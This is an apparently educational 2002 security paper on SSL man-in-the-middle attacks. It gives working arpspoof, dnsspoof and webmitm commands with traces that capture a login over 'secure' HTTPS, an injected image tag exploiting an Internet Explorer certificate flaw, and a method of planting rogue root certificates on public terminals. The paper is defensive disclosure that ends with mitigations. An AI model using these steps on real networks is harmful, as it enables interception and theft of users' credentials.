February 1, 2002 (v2.0)
TCP/IP protocols have long been subject to man-in-the-middle (MITM) attacks, but the advent of SSL/TLS was supposed to mitigate that risk for web transactions by providing endpoint authentication and encryption. The advent of Dug Song's 'webmitm' in late 2000 demonstrated the feasibility of mounting an MITM attack on the protocol, but a properly-configured client SSL implementation would warn the user about problems with the server certificate.
This paper examines the mechanics of the SSL protocol attack, then focusses on the greater risk of SSL attacks when the client is not properly implemented or configured. One faulty SSL client implementation, Microsoft's Internet Explorer, allows for transparent SSL MITM attacks when the attacker has any CA-signed certificate. An even greater risk is posed by unprotected systems where an attacker can preload his/her own trusted root authority certificates. In public environments such as libraries and computer labs, there is little to prevent such an attack from taking place. Casual observation of such places indicates that an attacker would see them as low-risk, high-opportunity environments.
Since Netscape introduced the Secure Sockets Layer (SSLv2) protocol in 1995, the protocol and its successors, SSLv3 and TLS, have been touted to consumers as a safe and secure means for conducting web commerce. The explosive growth of the Internet in the late 1990s probably would not have been possible without a protocol like SSL.
Security engineers have been aware that SSL/TLS protocols are not without their shortcomings based on weak PKI bindings (e.g, [Ellison & Schneier, 2000], [Schneier, 2000]). In late 2000 security researcher Dug Song published an implementation of an SSL/TLS protocol MITM attack as part of his 'dsniff' package [Song, 2000]. The publication sparked reactions ranging from "The end of SSL and SSH" [Seifried, 2000a, 2000b] to "dsniff and SSH: Reports of My Demise are Greatly Exaggerated" [Silverman, 2000]. Despite these known problems with SSL/TLS, the number of third-party certified SSL/TLS servers continues to grow, with Netcraft reporting a 36% increase between January 2001 and January 2002 [Netcraft, 2001; Netcraft, pers. comm., 2002].
There is no doubt that SSL/TLS-enabled encryption is better than no encryption. But I will show in this paper that one cannot be sanguine about the risks of SSL/TLS MITM attacks. The shortcomings of the protocol are compounded by grave implementation and configuration problems, and the use of SSL/TLS can lead to a false sense of security under common situations.
This paper will review how a proper SSL/TLS https session
is implemented, then provide a detailed cookbook of how to launch an SSL/TLS
MITM attack on a switched network.
The cookbook demonstrates to security administrators just how easily
one can launch an attack on naive Internet denizens. Next, I will examine
how one can launch a transparent SSL/TLS MITM attack on a faulty client
implementation, namely Microsoft's Internet Explorer, using my modifications
to Dug Song's
dsniff code. Then I discuss how common configuration errors at
public or multi-users systems can make attacks even easier when an attacker
can prepare a target machine by pre-loading her own trusted root certificates.
I will close with some recommendations for improving the security of SSL/TLS web transactions. For remainder of the paper, SSL will refer to SSLv2, SSLv3 and TLSv1 unless otherwise noted.
SSL-encrypted web sessions authenicate the server to the client using a PKI x509 certificate. Since the server does not authenticate the client, the SSL protocol for web transactions is inherently susceptible to man-in-the-middle (or monkey-in-the-middle) attacks provided the user victim is sufficiently naive.
A proper web browsing client will warn the user of a certificate problems if any of the following are not true:
The SSL web client will authenticate a server by issuing it a challenge based on the presented certificate. Successfully solving the challenge proves that the server possesses the private key to the certificate. The session can then continue with host-to-host encryption, integrity checks and endpoint authentication. However, if any of A-C are false, the client presents the user a warning dialogue. For example, when Microsoft's Internet Explorer is presented with a bogus certificate the user will be presented with a pop-up message that reads:
Information you exchange with this site cannot be viewed or changed by others. However, there is a problem with the site's security certificate.
(!) The security certificate was issued by a company you have not chosen to trust. View the certificate to determine whether you want to trust the certifying authority.
(!) The security certificate has expired or is not yet valid.
(!) The name on the security certificate does not match the name of the site.
Do you want to proceed? Yes, [No], View Certificate
As we will see, the warning does not adequately state the risks of accepting a flawed certificate. In fact, the statement "Information...cannot be viewed" is patently false. However, the astute user will recognize a problem and drop the connection. I have not been able to find any data on what fraction of Internet users qualify as 'astute'.
In order to attack SSL, I will insert an attacking host into the network traffic between the victim and the intended server, then proxy the traffic through the attacking host, leaving the traffic in cleartext to the attacker. The tools to do this are provided by Dug Song's 'dsniff' package,
For this paper, I installed dsniff 2.4beta on a GNU/Linux RedHat 7.1 i386 machine under VmWare. This machine is named "attack". The installation details are beyond the scope of this paper, but references are provided below [Danielle, 2001; Russel, 2001] . Suffice it to say that one should upgrade all of the libraries upon which 'dsniff' depends to the latest available version. Also, if compilation fails, then creating the appropriate symbolic links under /usr/lib will solve many of the problems. The victim host is a Windows 2000 VmWare machine, called "victim", running Internet Explorer 6.0.2600.0000, the latest version of IE available in January, 2002. Both these machines were on a private 172.16.243.X network and routed to the Internet via network address translation. All packet traces are shown using the text version of Ethereal [Ethereal, 2002].
I will first attack the 'victim' host by routing the traffic bound for the gateway router through 'attack'. This attack works at the Ethernet link level and subverts any security provided by switched networks. When the victim needs to find the gateway host, it broadcasts an ARP "WHO-HAS <gateway-ip-address>", then waits for the MAC address of the gateway host in an ARP-REPLY packet. The victim knows the gateway-ip-address either from its static IP setup or via DHCP. In a well-behaved network, the gateway host responds with its MAC address, as shown in this packet trace:
0.00 00:50:56:c5:01:81 -> ff:ff:ff:ff:ff:ff \ ARP Who has 172.16.243.1? Tell 172.16.243.129 0.00 00:50:56:01:00:00 -> 00:50:56:c5:01:81 \ ARP 172.16.243.1 is at 00:50:56:01:00:00
On my Windows2000 victim, I can observe the ARP table with 'arp -a':
C:\> arp -a Interface: 172.16.243.129 on Interface 0x2 Internet Address Physical Address Type 172.16.243.1 00-50-56-01-00-00 dynamic
Using dsniff's tools, I can subvert proper behavior. First I need to enable IP forwarding on 'attack', like this:
attack$ echo "1" > /proc/sys/net/ipv4/ip_forward
The dsniff tool
arpspoof will now supply attack's MAC as the gateway,
attack$ arpspoof -t 172.16.243.129 172.16.243.1where the '-t' option specified the target and the final argument is the gateway to be spoofed. Omitting the '-t' argument will broadcast spoof ARP replies in response to any ARP request.
Sniffing on the wire shows this activity:
0.00 00:50:56:d8:41:4e -> 00:50:56:c5:01:81 \ ARP 172.16.243.1 is at 00:50:56:d8:41:4e 2.10 00:50:56:d8:41:4e -> 00:50:56:c5:01:81 ARP 172.16.243.1 is at 00:50:56:d8:41:4e 4.22 00:50:56:d8:41:4e -> 00:50:56:c5:01:81 ARP 172.16.243.1 is at 00:50:56:d8:41:4e
Another 'arp -a' on victim verifies that this has worked:
C:\> arp -a Interface: 172.16.243.129 on Interface 0x2 Internet Address Physical Address Type 172.16.243.1 00-50-56-d8-41-4e dynamic 172.16.243.131 00-50-56-d8-41-4e dynamicHere, we see that both the gateway ip address and the attack ip address are mapped to the MAC address of the attack system. Replacing the correct MAC in the arp tables with addresses of the attacker's choice is called "arp poisoning."
At this point, I can sniff any traffic from 'victim', but I haven't broken SSL-encrypted traffic. To do this requires (a) that 'attack' masquerade as the victim's destination website, and (b) that 'attack' can proxy web traffic between 'victim' and the destination website, using it's own certificate to encrypt between 'attack' and 'victim'. To illustrate this attack, I will proxy traffic to the hosts myuw.wonderland.edu and weblogin.wonderland.edu.
The masquerade uses dsniff's 'dnsspoof', which is configured with a 'dnsspoof.hosts' file. In this example, /etc/dnsspoof.hosts reads,
172.16.243.131 weblogin.wonderland.edu 172.16.243.131 weblogin.wonderland.edu. 172.16.243.131 myuw.wonderland.edu 172.16.243.131 myuw.wonderland.edu.The trailing '.' on the DNS names are optional, but prevent expansion.
attack$ ./dnsspoof -f /etc/dnsspoof.hostsand intercept DNS queries so the listed hosts will return 172.16.243.131, the ip address of 'attack', as their ip address.
And on 'victim', a call to
nslookup confirms that the spoofing
C:\> nslookup myuw.wonderland.edu Server: ns2.example.net Address: 10.0.0.129 Non-authoritative answer: Name: myuw.wonderland.edu Address: 172.16.243.131At this point, any HTTP connection to attack from victim would fail, since there's no service on port 80 (http) or port 443 (https) on attack. But I'm all set to run my monkey-in-the-middle attack.
Dsniff's 'webmitm' proxies both cleartext http (port 80) and SSL-encrypted https (port 443). The SSL stream is authenticated (then encrypted) with the attack computer's x509 certificate between attack and victim, and authenticated (then encrypted) with the server certificate between attack and server, as shown in Figure 1.
Figure 1: A schematic of the SSL man-in-the-middle attack with webmitm.
The 'attack' certificate for 'webmitm' is stored in the file 'webmitm.crt' in PEM format. If that file does not exist, webmitm will issue the OpenSSL commands to create a self-signed certificate. Since a proper SSL client will warn the user of certificate problems, the standard 'webmitm' attack relies on social engineering: the certificate should look pausible for the server being spoofed. An example 'webmitm' dialogue to create the webmitm.crt certificate should illustrate this:
$ ./webmitm warning, not much extra random data, consider using the -rand option Generating RSA private key, 1024 bit long modulus .++++++ ...................................++++++ e is 65537 (0x10001) Using configuration from /usr/share/ssl/openssl.cnf You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]: US State or Province Name (full name) [Some-State]:Wonderland Locality Name (eg, city) :Emerald City Organization Name (eg, company) [Internet Widgits Pty Ltd]:University of Wonderland Organizational Unit Name (eg, section) :Computing & Network Services Common Name (eg, your name or your \ server's hostname) :weblogin.wonderland.edu Email Address :firstname.lastname@example.org Please enter the following 'extra' attributes to be sent with your certificate request A challenge password : An optional company name : Signature ok subject=/C=US/ST=Wonderland/L=Emerald City/ \ O=University of Wonderland/OU=Computing & Network Services/\ CN=weblogin.wonderland.edu/Emailemail@example.com Getting Private key webmitm: certificate generated webmitm: relaying transparentlyAs this shows, OpenSSL allows me to choose convincing attributes for my certificate. After creating the certificate, webmitm starts its proxy service. Killing the process still leaves the 'webmitm.crt' file.
With an extant certificate, we can look more closely at webmitm in action. A single '-d' option provides a minimal level of debugging information. A '-dd' option expands that to echo all client requests, such as GET and POST, to stderr. And using '-ddd' as an option echos all reads from the server -- which can mess up your terminal fast if you haven't redirected stderr.
To demonstrate how one can sniff a username/password pair, I start 'webmitm' on attack, then on the 'victim' I use IE to request the http://myuw.wonderland.edu. That page, in turn, directs me to a 'secure' login at https://weblogin.wonderland.edu. Below, the edited attack output is flush left, and the victim activities/output are indented.
-- webmitm and IE trace -- attack$ ./webmitm -dd webmitm: relaying transparently (IE: request http://myuw.wonderland.edu) webmitm: new connection from 172.16.243.129.1065 webmitm: 265 bytes from 172.16.243.129 GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Host: myuw.wonderland.edu Connection: Keep-Alive webmitm: 1448 bytes from 10.0.15.143 (IE: click on "Login..." button) webmitm: new connection from 172.16.243.129.1071 webmitm: 402 bytes from 172.16.243.129 GET /servlet/myuw.userlogin.UserLogin? HTTP/1.1 [deleted] Host: myuw.wonderland.edu Connection: Keep-Alive (IE presents a pop-up box:) You are about to view pages over a secure connection. Any information you exchange with this site cannot be viewed by anyone else on the web. [ ] In the future, do not show this warning [[OK]] [more info] (I click OK) webmitm: new connection from 172.16.243.129.1076 webmitm: 0 bytes from 172.16.243.129 webmitm: no virtual host in request webmitm: child 16026 terminated with status 256 (I get the IE "Security Alert" that reads, in part:) - The security certificate was issued by a company you have not chosen to trust. View the certificate to determine whether you want to trust the certifying authority. .... Do you want to proceed? [Yes] [No] [View Certificate] (viewing the certificate shows that it was issued by weblogin.wonderland.edu to weblogin.wonderland.edu. I close the certificate view and click the [Yes] button) webmitm: new connection from 172.16.243.129.1080 webmitm: 732 bytes from 172.16.243.129 GET / HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Host: weblogin.wonderland.edu Connection: Keep-Alive Cookie: ; pubcookie_g_req=b25lPW15dXcud2FzaGluZ3Rvbi5lZHUmdHdvPU1ZVV.... (I now have the Login page, and IE shows the padlock icon in the lower right corner. Clicking the padlock shows the same certificate I viewed earlier. I enter my username and password in the appropriate fields and click the [Log in] button) webmitm: new connection from 172.16.243.129.1083 webmitm: 882 bytes from 172.16.243.129 POST / HTTP/1.1 Referer: https://weblogin.wonderland.edu/ User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Host: weblogin.wonderland.edu Content-Length: 365 Connection: Keep-Alive Cache-Control: no-cache Cookie: ; pubcookie_g_req=g req received user=pburkh&pass=password&one=myuw.wonderland.edu&.... (IE now presents me with my personalized page over https) -- end trace --
The last interaction has provided 'attack' with the SSL-encrypted username and password pair, provided the user has elected to accept the certificate despite the warnings.
But it gets worse. The attack just demonstrated is SSL working properly, yet a faulty SSL client can make an attack much less risky, as described in the next section.
On December 22, 2001, Stefan Esser announced on BugTraq that many versions of IE 5.0, 5.5, and 6.0 had a fault in the handling of https objects and their certificates, <IMG> objects in particular [Esser, 2001]. While Internet Explorer's history of security vulnerabilities is sad to start with (e.g, the ICAT metabase of the CVE turns up 83 candidate vulnerabilities for IE [NIST, 2002]), what's particularly disheartening is that this fault is one Microsoft patched in June of 2000 [Microsoft, 2000], in response to a security alert from the ARCOS team [ARCOS, 2000]. Microsoft's published security notice stated this fault could be exploited only "under a very daunting set of circumstances." The patch produced in June of 2000 has apparently been undone in later releases of IE, and I will demonstrate that attack circumstances are not "daunting" in the least.
I will explain this fault by way of example. Suppose that we are again trying to capture SSL traffic between weblogin.wonderland.edu and a victim. Suppose further that I have obtained a server certificate signed by a trusted root authority and its private key. The certificate can be expired and need not match any hostname that I control. I may have obtained the certificate/key pair by stealing it from another server, or I may have purchased it from a certificate authority for a server I control. It does not matter. To exploit the IE vulnerability, I modify 'webmitm' into 'iemitm', and store the server certificate in iemitm.crt.
The new iemitm is written so that regular web pages returned from myuw.wonderland.edu have added to them the line
<img src="https://weblogin.wonderland.edu/nogif.gif" height=1 width=1>IE then attempts to fetch the file nogif.gif over https. Since we are running iemitm, the victim connects to attack's proxy server, and receives the iemitm.crt certificate. IE does not perform the three authenticity checks described above; it only checks to see if the certificate was signed by a root that it trusts. It then caches the bogus certificate in association with weblogin.wonderland.edu, and flags the certificate as trusted for the remainder of the browser session. IE does not receive the gif it requested (since it doesn't exist), so there is a 1x1 pixel of blank space left in the web page.
When IE uses https to fetch objects from weblogin.wonderland.edu, it uses the cached bogus iemitm.crt certificate without any further checks. IEmitm now sees all that traffic in clear text, and the user is never issued any warning and the traffic is flagged as secure. The user would only notice the session attack if she (a) noticed the 1x1 extra pixel space from the <IMG> insertion, (b) saw that the IE status bar showed the fetching of the bogus gif image, or (c) manually checked the certificate, say, by clicking on the padlock icon.
My modifications to webmitm.c to make iemitm.c are included as a patch file in the appendix. The setup for the iemitm attack is identical to the setup for webmitm. One just needs to place the signed certificate in iemitm.crt. Then I run:
attack$ ./iemitm -dd -i weblogin.wonderland.edu iemitm: relaying transparentlyThe browser/iemitm interaction is identical to the demonstration above but no warning is ever issued to the user.
How did I mount this attack? Since I don't have the money for my own CA-signed certificate, I set up my own certificate authority and loaded that root certificate into my target browser. Then I made a signed certificate for www.bogus.com and stored that in iemitm.crt. Details for these types of operations using OpenSSL are available at my website [Burkholder, 2002a] and in the OpenSSL documentation.
Furthermore, since browsers announce their version number in the request headers, attacker could pinpoint their victims. For example, Internet Explorer will include a user-agent string such as ""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" in its http request. Since all versions of IE 6.0 suffer from this vulnerability, a hacker could find tempting targets. Some of the vulnerable versions of IE are shown in Table 1.
This represents a huge proportion of the Internet Explorer 5+ installed base, which in turn has something like 55% of the browser market [Pruitt, 2001].
IE Version String Platform Status 6.0.2600.0000 Windows 2000 Vulnerable 5.50.4807.2300 Windows 2000 Vulnerable 5.50.4134.0600 Windows 98SE Vulnerable Public Browser 1.2.7
(based on IE5.5)
Windows2000 Vulnerable 5.00.3315.1000 Windows 2000 OK
This implementation exploit is far juicier than the simple protocol exploit above because no warning is provided to the user. It still requires the attacker have a signed server certificate, a potential hurdle, but given the potential for reaping, say, Microsoft Passport credentials and associated credit lines, the motivation may well be present [Korman & Rubin, 2000].
But it gets worse. A multi-user system that allows users to load root certificates is trivially exploitable. And these types of systems are legion, as discussed in the next section.
As I mentioned above, I tested the IEmitm exploit with certificates signed by my own CA. If an attacker has access to a misconfigured system, say, in a multi-user work area or public access terminal in a library, then she can load her own root certificates and later attack the target at leisure.
As an example, point Internet Explorer (or almost any browser) to https://www.pburkholder.com/secure. You should be presented a warning that the SSL server certificate has not been signed by a known authority. Next, browse to http://www.pburkholder.com/VS.cacert. Doing so will start a Install Certificate Authority dialogue on most broswers for a root certificate I call VirtualSign. If you accept the certificate, you can then continue to https://www.pburkholder.com/secure without any problem. Removing the certificate from a browser is left as an exercise for the reader.
The browser will now accept any certificate signed by "VirtualSign". I can run webmitm against this client using a webmitm.crt certificate signed by VirtualSign and the client will not issue any warning -- as long as the common name on the certificate matches the target server domain name, and the dates are valid. Creating these sorts of certificates is easily done with OpenSSL.
Many public libraries, university libraries, student labs and Internet cafes provide terminals with web browsers configured to lock down any user-accessible settings. The administrative intent is to protect any particular user from the activities of any user preceding or following her at that terminal. Alas, I have not found any public terminal that prevents a user from loading a new root certificate, or that deletes the certificate after closing the browser session. In fact, I have not been able to configure Internet Explorer to prevent a user from loading a root certificate when the user provides a URL to the certificate.
Microsoft provides hints for "locking down certificates" with its documentation for the Internet Explorer Administration Kit, but the suggestions don't work [Microsoft, 2002].
You can use the Internet Explorer Customization Wizard to create custom packages of Internet Explorer that include preconfigured lists of trusted certificates, publishers, and CAs for your user groups. If you are a corporate administrator, you can also lock down these settings to prevent users from changing them. [emphasis mine]
Options are provided by the Internet Explorer Administration Kit implying that one can
"lock down" a user's ability to load certificates. Under IEAK6 - Profile
Manager - Policies & Restrictions - Corporate Restrictions - Content Page
there is an option to "Disable changing certificate setttings". Selecting
this option creates and sets the registry key
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Paneland sets the DWORD value "Certificates=0x1".
The effect of this switch is not what one expects. Setting this option only prevents the user from removing certificates. The download of root certificates and the root install dialogue proceeds as before. But if one goes to Tools -> Internet Options -> Content, one can no longer get into the Certificates section -- either to view or remove certificates.
I have not had the opportunity for extensive testing, but while other browsers did allow trusted certificate authority loading, they did not necessarily presist across sessions (see Recommendations, below).
This certificate persistence
would allow an attacker to load her root certificate on a set of target
terminals, attach her laptop to a network drop (often provided for the
convenience of patrons) and hijack SSL traffic using
to her heart's delight. The risk of alerting the victim is insignificant.
And there are no costs involved with purchasing or stealing a certificate.
If I were to launch an SSL attack, this would be my preferred mode. My casual observations of users in five public settings (two university libraries, one public library, and one university student lab) found two users conducting on-line gambling, and numerous connections to Microsoft's Passport servers (according to the browser history), making such activity potentially lucrative.
The MITM attacks rely upon spoofing ARP and DNS. Sites should use static ARP tables when possible, and should migrate to DNSSEC as soon as practicable. In all cases, every local network should deploy an intrusion detection device and provide a rapid response method, such as dropping the switch port of the attacker, to quench active attacks.
The Internet Explorer fault exploited by IEmitm has not been patched as of February 1, 2002. Given the history of Internet Explorer security problems I would heed the advice of Georgi Guninski, and "not use IE in hostile environments such as the Internet." [Guninski, 2002]. Netscape Navigator or Opera should be used instead.
Under GNU/Linux, and probably most flavors of Unix, the persistence of trusted root authorities can be prevented by making the certificate files read-only and root-owned. For Opera 6.0, write-protect ~/.opera/opcacrt6.dat; for Netscape 4.7X, write-protect ~/.netscape/cert7.db. Certificates will be loaded into memory, but not saved between sessions.
On Windows NT platforms, mandatory user profiles and group policies should restore all certificate settings (deleting newly loaded certificates) at the end of a logon session, but most public terminal sessions do not include a full logout. They should be set up to log users out automatically until an option to prevent certificate loading is available. Further research on Netscape is needed.
ARCOS Security Penetration Team. "Bypassing Warnings For Invalid SSL
Certificates In Internet Explorer," 6 June 2000.
Burkholder, Peter. "Roll your own CA," 5 February 2002.
Burkholder, Peter. "SSH and SSL for SysAdmins," 24 January 2002.
Danielle, Lora. "Introduction to dsniff," SANS Reading Room, June 1,
Ellison, C. and B. Schneier.
"Ten Risks of PKI: What You're Not Being Told About Public Key Infrastructure,"
Computer Security Journal,
v 16, n 1, 2000, pp. 1-7.
Esser, Stefan. "IE https certificate attack," 22 December 2001.
Ethereal network analyzer, 2002.
Garfinkel, Simson and Gene Spafford. Web Security, Privacy & Commerce, 2nd Edition. O'Reilly, 2001.
Guninski, Georgi. "IE GetObject() problems," BugTraq, 1 January 2002.
Kormann, David P. and Aviel D. Rubin.
"Risks of the Passport Single Signon Protocol,"
Computer Networks, Elsevier Science Press, volume 33, pages 51-58, 2000.
Microsoft. "Microsoft Security Bulletin (MS00-039):
Patch Available for 'SSL Certificate Validation' Vulnerabilities," 5 June
Microsoft. "Internet Explorer Resource Kit - Chapter 28: Digital
Netcraft. "The Netcraft Secure Server Survey," January 2001.
NIST. "ICAT Metabase: Your CVE Vulnerability Search Engine," 4 February
OpenSSL. "The OpenSSL Project," 2002.
Pruitt, Scarlet. "Internet Explorer 6.0 Zooms Past Netscape," PCWorld, 18
Russel, Christopher R. "Penetration Testing with dsniff," SANS Reading Room,
18 February 2001.
Schneier, Bruce. Secrets and Lies : Digital Security in a Networked World. John Wiley & Sons, 2000.
Seifreid, Kurt. "The End of SSH and SSL?" SecurityPortal, 18 December 2000.
Seifreid, Kurt. "The End of SSH and SSL? Follow-up," SecurityPortal, 22 December 2000.
Silverman, Richard. "dsniff and SSH: Reports of My Demise are Greatly Exaggerated,"
O'Reilly News, 22 December 2000.
Song, Dug. "sshmitm, webmitm," BugTraq, December 18, 2000.
Song, Dug. "dsniff," April 2001.
The patch to Dug Song's
webmitm to create
iemitm is in ./iemitm.patch.txt